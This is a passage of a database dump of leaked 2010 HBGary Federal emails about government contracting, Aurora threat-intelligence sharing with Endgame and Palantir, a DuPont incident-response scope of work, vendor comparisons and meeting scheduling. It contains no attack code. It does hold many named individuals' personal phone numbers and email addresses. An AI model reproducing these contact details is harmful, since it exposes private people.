forwarded message:From:&nbsp;Ted Vera &lt;ted@hbgary.com&gt;Date:&nbsp;February 9, 2010 3:09:38 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: license key&nbsp;Yup, it is.On Tue, Feb 9, 2010 at 1:07 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Can you check if this is one of Jose guys?Aaron&nbsp;Begin forwarded message:&nbsp;From: \"Matt O\'Flynn\" &lt;matt@hbgary.com&gt;Date: February 9, 2010 2:59:15 PM ESTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: FW: license key&nbsp;Hey Aaron,&nbsp;FYI, this is based on my e-mail to my contacts there to get them toupgrade...curious since he is a contractor if he is with TASC...?&nbsp;Best,&nbsp;Matt&nbsp;&nbsp;-----Original Message-----From: HAMMACK, JACOB P CTR USAF AFSPC 92 IOS/MAF[mailto:jacob.hammack.ctr@us.af.mil]Sent: Tuesday, February 09, 2010 2:52 PMTo:&nbsp;sales@hbgary.comSubject: license key&nbsp;Hello,&nbsp;I am trying to use HB Gary 2.0 and the HB Gary Licensing program returnsthis code 27739B59 and states that I should email you for an update.&nbsp;-Jacob&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;--&nbsp;Ted H. VeraPresident | COOHBGary Federal719-237-8623&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14402,'aaron_hbgary_com/14402.html'),(2341,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001071.M351167P3547Q2342.eml','\"Racz, James M\" <james.m.racz@lmco.com>','Re: Uno - HBGary capabilities brief','Nope, I\'m still in Colorado Springs, and Aaron is still in McLean.\r\nCorporately our HQs is in Sacramento, with staff here, DC, and soon in\r\nSan Antonio.\r\n\r\nThanks for the quick response.  Have you dug out yet? Heard you got\r\nmore snow this year than Colorado!\r\n\r\nTed\r\n\r\n\r\n\r\nOn Feb 9, 2010, at 1:24 PM, \"Racz, James M\" \r\nwrote:\r\n\r\n> Ted\r\n>\r\n> Have you migrated from Colo Springs??\r\n>\r\n> Sure we can make time. Geographically, where are you located?\r\n>\r\n>\r\n> Jim Racz\r\n> UNO Program\r\n> 703 466-3314\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, February 09, 2010 3:21 PM\r\n> To: Racz, James M\r\n> Cc: Barr Aaron\r\n> Subject: Uno - HBGary capabilities brief\r\n>\r\n> Hello Mr. Racz,\r\n>\r\n> I sent a similar request to Jeff Jeffers, but thought you may be\r\n> interested\r\n> a well.\r\n> Aaron Barr (cc\'d) and I would like to schedule some time with the\r\n> Uno PM to\r\n> provide an updated HBGary capabilities brief.  Is that possible?\r\n>\r\n> Attached is a draft HBGary analysis of Aurora, which demonstrates\r\n> some of\r\n> our malware reverse engineering and threat analysis capabilities.\r\n> Consider\r\n> it a sneak preview, it will be publicly released later this week.\r\n>\r\n> Regards,\r\n> Ted Vera\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',13973,'aaron_hbgary_com/13973.html'),(2342,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001071.M535430P3547Q2343.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Discussion with GD','Greg,\r\n\r\nDo you have some time tomorrow to get on a Telecon with GD to discuss some ideas regarding the DARPA BAA Technical areas?  I have a 3:30pm-5pm EST mtg is my only block out.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11890,'aaron_hbgary_com/11890.html'),(2343,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001071.M714291P3547Q2344.eml','\"Chris Rouland\" <chris@endgames.us>,\"Chris Rouland\" <chris@endgames.us>','Threat Intelligence','Chris,\r\n\r\nI had a good conversation with John this morning.  We have some direct contract opportunities in front of us that I am going to bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n\r\nRegarding the Aurora report we just put together.  Palantir is sending their cyber lead up to Sacramento next week to train some of our folks on Palantir and work on developing some Aurora and Agent.BTZ maps.  It would be great to include EGS data on both of these operations.  We are working on an Agent.BTZ report now since this has continued significance to the government.  The goal would be to generate these two reports to start, with a limited,  distribution to current and future customers.  I think this could have a lot of power.\r\n\r\nWe are going to be going up to talk with Dave Luber and some other folks at the Fort in the next few weeks and it would be great to take these reports with us.\r\n\r\nI want to stress that the reports that would have our combined data would be limited distribution only.  No public release.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5938,'aaron_hbgary_com/5938.html'),(2344,'2010-02-09','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297001071.M907536P3547Q2345.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Threat Intelligence','Aaron,\r\n\r\nWe did not sinkhole Agent.BTZ and have no data on it.  We are unable to distribute the Aurora data at this time, if that changes we will let you know.  I am willing to let Dino provide his analysis of the Aurora exploit to a government-only distribution report.\r\n\r\nThanks\r\n\r\nOn Feb 9, 2010, at 5:27 PM, Aaron Barr wrote:\r\n\r\n> Chris,\r\n> \r\n> I had a good conversation with John this morning.  We have some direct contract opportunities in front of us that I am going to bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n> \r\n> Regarding the Aurora report we just put together.  Palantir is sending their cyber lead up to Sacramento next week to train some of our folks on Palantir and work on developing some Aurora and Agent.BTZ maps.  It would be great to include EGS data on both of these operations.  We are working on an Agent.BTZ report now since this has continued significance to the government.  The goal would be to generate these two reports to start, with a limited,  distribution to current and future customers.  I think this could have a lot of power.\r\n> \r\n> We are going to be going up to talk with Dave Luber and some other folks at the Fort in the next few weeks and it would be great to take these reports with us.\r\n> \r\n> I want to stress that the reports that would have our combined data would be limited distribution only.  No public release.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n--\r\nChris Rouland\r\nCEO\r\nEndgame Systems\r\nchris@endgames.us\r\n\r\n\r\n\r\n\r\n',10496,'aaron_hbgary_com/10496.html'),(2345,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001071.M98880P3547Q2341.eml','james.m.racz@lmco.com,james.m.racz@lmco.com','Uno - HBGary capabilities brief','Hello Mr. Racz,\r\n\r\nI sent a similar request to Jeff Jeffers, but thought you may be\r\ninterested a well.\r\nAaron Barr (cc\'d) and I would like to schedule some time with the Uno\r\nPM to provide an updated HBGary capabilities brief.  Is that possible?\r\n\r\nAttached is a draft HBGary analysis of Aurora, which demonstrates\r\nsome of our malware reverse engineering and threat analysis\r\ncapabilities.  Consider it a sneak preview, it will be publicly\r\nreleased later this week.\r\n\r\nRegards,\r\nTed Vera\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15712,'aaron_hbgary_com/15712.html'),(2346,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001072.M294769P3547Q2347.eml','\"Chris Rouland\" <chris@endgames.us>,\"Chris Rouland\" <chris@endgames.us>','Re: Threat Intelligence','Whatever you can provide would be helpful.  Government only.  And u\r\nwill always get a final review before any distribution to customers.\r\nI will also inform u of customers that we are planning to distribute to.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 9, 2010, at 5:41 PM, Chris Rouland  wrote:\r\n\r\n> Aaron,\r\n>\r\n> We did not sinkhole Agent.BTZ and have no data on it.  We are unable\r\n> to distribute the Aurora data at this time, if that changes we will\r\n> let you know.  I am willing to let Dino provide his analysis of the\r\n> Aurora exploit to a government-only distribution report.\r\n>\r\n> Thanks\r\n>\r\n> On Feb 9, 2010, at 5:27 PM, Aaron Barr wrote:\r\n>\r\n>> Chris,\r\n>>\r\n>> I had a good conversation with John this morning.  We have some\r\n>> direct contract opportunities in front of us that I am going to\r\n>> bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n>>\r\n>> Regarding the Aurora report we just put together.  Palantir is\r\n>> sending their cyber lead up to Sacramento next week to train some\r\n>> of our folks on Palantir and work on developing some Aurora and\r\n>> Agent.BTZ maps.  It would be great to include EGS data on both of\r\n>> these operations.  We are working on an Agent.BTZ report now since\r\n>> this has continued significance to the government.  The goal would\r\n>> be to generate these two reports to start, with a limited,\r\n>> distribution to current and future customers.  I think this could\r\n>> have a lot of power.\r\n>>\r\n>> We are going to be going up to talk with Dave Luber and some other\r\n>> folks at the Fort in the next few weeks and it would be great to\r\n>> take these reports with us.\r\n>>\r\n>> I want to stress that the reports that would have our combined data\r\n>> would be limited distribution only.  No public release.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> --\r\n> Chris Rouland\r\n> CEO\r\n> Endgame Systems\r\n> chris@endgames.us\r\n>\r\n>\r\n>\r\n>\r\n',3017,'aaron_hbgary_com/3017.html'),(2347,'2010-02-09','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297001072.M87150P3547Q2346.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Services contract for commercial IR services','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nHow is Friday looking for you?\r\n&nbsp;\r\nCheers,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 11:15 PMTo: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\nHi Nolan,\r\n\r\nMy week has opened up quite a bit. &nbsp;:)\r\n\r\nDo you have some time to meet this week?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\nwrote:\r\n\r\n  I \r\n  can\'t tomorrow. How does next week look for you?\r\n  Sent via BlackBerry by AT&amp;T\r\n  \r\n\r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n  Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n  To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n  Subject: Re: Services contract for commercial IR services\r\n  Sounds good for tomorrow. &nbsp;You still open?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    Same \r\n    here, perhaps coffee either morning in the Reston area?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n    Subject: Re: Services contract for commercial IR services\r\n    Whats your schedule like next week. &nbsp;My best \r\n    availability is on Thursday and Friday.\r\n    \r\n    Aaron\r\n    \r\n    \r\n    \r\n    On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Darn, \r\n      those days are packed for me. What about the week of the 8th?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Hi Nolan,\r\n      \r\n      Tuesday and Friday are my packed days this week. &nbsp;Any free time \r\n      on Wed/Thurs?\r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Aaron,How \r\n        does 11 on Tuesday look for you? Where are you at most of the time? \r\n        Would coffee at Cosi in the Reston Town Center be \r\n        easy?Thanks,Nolan\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n        Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Nolan,\r\n        \r\n        Ted is out in the Springs, but how about we meet next week. \r\n        &nbsp;Any days better than others?\r\n        Aaron\r\n        \r\n        \r\n        On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n        \r\n          \r\n          Thanks Maria.\r\n          &nbsp;\r\n          Aaron and Ted - I could link up in \r\n          person next week if you guys are interested.\r\n          &nbsp;\r\n          Best,\r\n          Nolan\r\n          &nbsp;\r\n          Nolan Clifford, \r\n          CISSP\r\n          CEO, Information Security \r\n          Solutions LLC\r\n          http://www.informationsecuritysolutionsllc.com\r\n          nolan@informationsecuritysolutionsllc.com\r\n          Office - \r\n          703-945-7480\r\n          Cell - \r\n          703-869-7396\r\n          &nbsp;\r\n          &nbsp;\r\n          \r\n          \r\n          From: Maria Lucas \r\n          [mailto:maria@hbgary.com] Sent: Tuesday, January 19, 2010 \r\n          4:51 PMTo: Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.comSubject: \r\n          Re: Services contract for commercial IR services\r\n          \r\n          Aaron / Ted\r\n          &nbsp;\r\n          I spoke today with Nolan Clifford.&nbsp; He may&nbsp;be \r\n          helpful&nbsp;with the contract terms for IR Services.&nbsp; Nolan has \r\n          an NDA with HBGary.\r\n          &nbsp;\r\n          Nolan is available later this week or next to meet or speak with \r\n          on the phone:\r\n          &nbsp;\r\n          You may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting \r\n          your call.\r\n          &nbsp;\r\n          Maria\r\n          &nbsp;\r\n          Nolan Clifford Bio\r\n          \r\n          CEO of Information Security Solutions LLC, providing \r\n          a full range of security consulting services to US Federal, Global \r\n          Public Sector and Commercial clients. Former Principal, Deloitte &amp; \r\n          Touche, LLP Security and Privacy Practice. Former Director at \r\n          PricewaterhouseCoopers, LLP, within the Washington Federal Practice. \r\n          Former Director of Information Assurance, General Dynamics Network \r\n          Systems, National and Defense Intelligence Solutions and former \r\n          Director of the Federal Security Practice at Unisys Corporation. \r\n          Information Warfare Officer for the Naval Reserve Network Warfare \r\n          Command. Former active duty Naval Cryptology Officer. CISSP. \r\n          \r\n          &nbsp;-- Maria Lucas, CISSP | Account \r\n          Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office \r\n          Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8579,'aaron_hbgary_com/8579.html'),(2348,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001074.M597450P3547Q2348.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Dupont SOW','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n&nbsp;\r\n\r\nPlease take a look at the scope of work for Dupont, we need\r\nto get this out to them ASAP.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThings we still need.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPricing &#8211; see what is in the doc&#8230;&nbsp; I\r\nthink we should provide an hourly rate like Aaron and I discussed ($300 per\r\nhour).&nbsp; It&#8217;s currently got something that appears to be a&nbsp; Firm\r\nFixed Price&#8230; not going to fly here in my opinion. &nbsp;While I believe\r\nwe could charge them more, I don&#8217;t want to take advantage of them.&nbsp; This\r\nis to set them up for a long term relationship and enterprise purchase.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow much will foundstone and PWC charge to us as a\r\nsub-contractor?&nbsp; \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phil?&nbsp;\r\nDo you know how much they would charge us?\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Penny,\r\nwhat about Foundstone prices?\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI believe we also need to propose 3 to 4 people for\r\nthis project for Phase 1.&nbsp;&nbsp; Personally I would like to back out after\r\nPhase 1 and the beginning of phase 2 so I can get back to HBGary work.&nbsp;\r\nWith that said it would be nice to have 3 guys from either PWC or Foundstone to\r\naugment myself and Phil&#8217;s work.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5401,'aaron_hbgary_com/5401.html'),(2349,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001074.M900346P3547Q2349.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: NetWitness side of things','Just as another data point. &nbsp;Given its a biased perspective but so far I agree, while fidelis can do more inline processing, from what I have seen Netwitness has better capability for network traffic analysis, better tools for data discovery, etc. &nbsp;When dealing with the \"APT\" this is critical. &nbsp;If you need something to monitor data inline the Fidelis is probably your better bet. &nbsp;From developing a threat intelligence perspective I am still leaning Netwitness but very interested to talk with Fidelis.AaronBegin forwarded message:From: \"Brian Girardi\" &lt;brian@netwitness.com&gt;Date: February 9, 2010 11:28:09 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Re: NetWitness side of things   I will say that our Fed team casts a wide net – so regarding DARPA its them doing their thing. &nbsp;I agree on the interplay... NetWitness will team with folks that make sense, but admittedly our Fed team actually teams with several integrators on such efforts. &nbsp;If you need I can get you synchronized with Jaci who runs our Fed Group.  Ha ha , Fidelis. &nbsp;You are right in your assertion that there is no comparison. &nbsp;They are clearly DLP and we are advanced threat, full data capture. &nbsp;Now there is perceived overlap because we both have the ability to monitor network traffic, but then we then massively diverge technically and from a use case perspective. &nbsp;We do run into them competitively but its more budgetary than anything else. &nbsp;We get mixed in their conversations because on the Fed side we pulled a 1M+ deal out from under them in the 11th hour — we added more value in addition to the DLP requirements they were being evaluated under. &nbsp;&nbsp;In my mind DLP is commoditized, if not almost there. NW is on the front-lines of a bigger battle of advanced threats, &nbsp;a battle that DLP has no weapons to fight with.  -Brian  On 2/8/10 10:46 PM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:  Brian,  I saw you guys are on the list of attendees at the DARPA cyber genome project day. &nbsp;Whats your take on the whole thing? &nbsp;at least tech area 3 is in our sweet spot so we are likely going to bid something. &nbsp;Talking to a few of the bigger contractors for teaming, etc.  I am still working with Brian Masterson of Xetron to get the IRAD funding to start our effort. &nbsp;We have a few meetings with NG senior folks this week to discuss. &nbsp;I will let you know how that goes.  Self assessment question. &nbsp;How would you compare yourself to Fidelis? &nbsp;I keep hearing the comparison, but I see you guys as different. &nbsp;I like Netwitness from an intelligence perspective because you give me better interfaces to the data, discovery, correlation, etc.  Aaron  On Jan 29, 2010, at 11:44 AM, Brian Girardi wrote:  Aaron, Thanks for pulling us into your effort. &nbsp;From our perspective the problem set identified and target resonates, an approach like this is needed to better position the organizations to build out better knowledge, skillset, tradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and coming from a services organization re-enforces our belief in the need. &nbsp;To this point, its also not a conventional product sale, as some members of the room were hung up on. Unlike, Splunk we don’t need time to evaluate, weve experienced the problem and realize the need. &nbsp;Eager to participate in the solution.  From a product and technical perspective I think Splunk positions its self as the umbrella for all data consumption and searching... which would include NW, HGbary, and other intel data, which also drives their licensing cost. &nbsp;When you put them under the host category they probably felt as if they were in a corner. &nbsp;I think they do risk cannibalizing themselves in some accounts if they don’t position themselves right( at the top), which in my mind may conflict with the objective of the solution.  I do think more thought needs to go into how the products play together, and position it in a way that minimizes sales impact if the product already exists or not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it inherently drives customers to use it more and buy more for coverage. May be the same for Splunk... The issue there is that they are architected in a similar way to NW, further driving confusion on the interaction. Id challenge that shoveling all NW data into Splunk wont scale (contrary to their assertion) and minimize the value of our analytics. &nbsp;For example, at any particular time we may be processing 100,000 meta elements a second — the real-time nature of our system and its index positions itself better as an adjacent system than just a data provider when part of a larger solution. &nbsp;&nbsp;You may find that during integration the profile of the products may change anyway.  The missing part to me is the workflow --- which is part services, integration, and product. &nbsp;Clearwell has an interesting case management system you may want to look at, although Palantir may already do some of this.   BRIAN GIRARDI DIRECTOR, PRODUCT MANAGEMENT NETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170 O: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126   This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information. &nbsp;If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited. &nbsp;If you have received this in error, please reply immediately to the sender and delete this message. &nbsp;Thank you.   Aaron Barr CEO HBGary Federal Inc.       BRIAN GIRARDI DIRECTOR, PRODUCT MANAGEMENT NETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170 O: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126   This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.   ',10540,'aaron_hbgary_com/10540.html'),(2350,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001075.M137197P3547Q2350.eml','\"<nolan@informationsecuritysolutionsllc.com>\" <nolan@informationsecuritysolutionsllc.com>','Re: Services contract for commercial IR services','Friday looks good.  What time?From my iPhoneOn Feb 9, 2010, at 5:45 PM, &quot;Nolan Clifford&quot; &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\nHi Aaron,\r\n \r\nHow is Friday looking for you?\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 11:15 PMTo: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\nHi Nolan,\r\n\r\nMy week has opened up quite a bit.  :)\r\n\r\nDo you have some time to meet this week?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 5:12 PM, nolan@informationsecuritysolutionsllc.com \r\nwrote:\r\n\r\n  I \r\n  can&#39;t tomorrow. How does next week look for you?\r\n  Sent via BlackBerry by AT&amp;T\r\n  \r\n\r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n  Date: Thu, 4 Feb 2010 17:11:54 -0500\r\n  To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n  Subject: Re: Services contract for commercial IR services\r\n  Sounds good for tomorrow.  You still open?\r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com \r\n  wrote:\r\n  \r\n    Same \r\n    here, perhaps coffee either morning in the Reston area?\r\n    Sent via BlackBerry by AT&amp;T\r\n    \r\n\r\n    From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n    Date: Tue, 2 Feb 2010 11:13:44 -0700\r\n    To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n    Subject: Re: Services contract for commercial IR services\r\n    Whats your schedule like next week.  My best \r\n    availability is on Thursday and Friday.\r\n    \r\n    Aaron\r\n    \r\n    \r\n    \r\n    On Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com \r\n    wrote:\r\n    \r\n      Darn, \r\n      those days are packed for me. What about the week of the 8th?\r\n      Sent via BlackBerry by AT&amp;T\r\n      \r\n\r\n      From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n      Date: Mon, 25 Jan 2010 11:44:58 -0500\r\n      To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n      Subject: Re: Services contract for commercial IR \r\nservices\r\n      Hi Nolan,\r\n      \r\n      Tuesday and Friday are my packed days this week.  Any free time \r\n      on Wed/Thurs?\r\n      \r\n      Aaron\r\n      \r\n      \r\n      \r\n      On Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com \r\n      wrote:\r\n      \r\n        Aaron,How \r\n        does 11 on Tuesday look for you? Where are you at most of the time? \r\n        Would coffee at Cosi in the Reston Town Center be \r\n        easy?Thanks,Nolan\r\n        Sent via BlackBerry by AT&amp;T\r\n        \r\n\r\n        From: Aaron Barr &lt;aaron@hbgary.com&gt; \r\n        Date: Thu, 21 Jan 2010 08:48:18 -0500\r\n        To: &lt;nolan@informationsecuritysolutionsllc.com&gt;\r\n        Subject: Re: Services contract for commercial IR \r\n        services\r\n        Nolan,\r\n        \r\n        Ted is out in the Springs, but how about we meet next week. \r\n         Any days better than others?\r\n        Aaron\r\n        \r\n        \r\n        On Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n        \r\n          \r\n          Thanks Maria.\r\n           \r\n          Aaron and Ted - I could link up in \r\n          person next week if you guys are interested.\r\n           \r\n          Best,\r\n          Nolan\r\n           \r\n          Nolan Clifford, \r\n          CISSP\r\n          CEO, Information Security \r\n          Solutions LLC\r\n          http://www.informationsecuritysolutionsllc.com\r\n\r\n          nolan@informationsecuritysolutionsllc.com\r\n\r\n          Office - \r\n          703-945-7480\r\n          Cell - \r\n          703-869-7396\r\n           \r\n           \r\n          \r\n          \r\n          From: Maria Lucas \r\n          [mailto:maria@hbgary.com] Sent: Tuesday, January 19, 2010 \r\n          4:51 PMTo: Aaron Barr; Ted@hbgary.comCc: nolan@informationsecuritysolutionsllc.com\r\nSubject: \r\n          Re: Services contract for commercial IR services\r\n          \r\n          Aaron / Ted\r\n           \r\n          I spoke today with Nolan Clifford.  He may be \r\n          helpful with the contract terms for IR Services.  Nolan has \r\n          an NDA with HBGary.\r\n           \r\n          Nolan is available later this week or next to meet or speak with \r\n          on the phone:\r\n           \r\n          You may reach Nolan at (703) 945-7480.  Nolan is expecting \r\n          your call.\r\n           \r\n          Maria\r\n           \r\n          Nolan Clifford Bio\r\n          \r\n          CEO of Information Security Solutions LLC, providing \r\n          a full range of security consulting services to US Federal, Global \r\n          Public Sector and Commercial clients. Former Principal, Deloitte &amp; \r\n          Touche, LLP Security and Privacy Practice. Former Director at \r\n          PricewaterhouseCoopers, LLP, within the Washington Federal Practice. \r\n          Former Director of Information Assurance, General Dynamics Network \r\n          Systems, National and Defense Intelligence Solutions and former \r\n          Director of the Federal Security Practice at Unisys Corporation. \r\n          Information Warfare Officer for the Naval Reserve Network Warfare \r\n          Command. Former active duty Naval Cryptology Officer. CISSP. \r\n          \r\n           -- Maria Lucas, CISSP | Account \r\n          Executive | HBGary, Inc.Cell Phone 805-890-0401  Office \r\n          Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n        \r\n        Aaron Barr\r\n        CEO\r\n        HBGary Federal Inc.\r\n        \r\n      \r\n      Aaron Barr\r\n      CEO\r\n      HBGary Federal Inc.\r\n      \r\n    \r\n    Aaron Barr\r\n    CEO\r\n    HBGary Federal Inc.\r\n    \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',15122,'aaron_hbgary_com/15122.html'),(2351,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001075.M349097P3547Q2351.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: 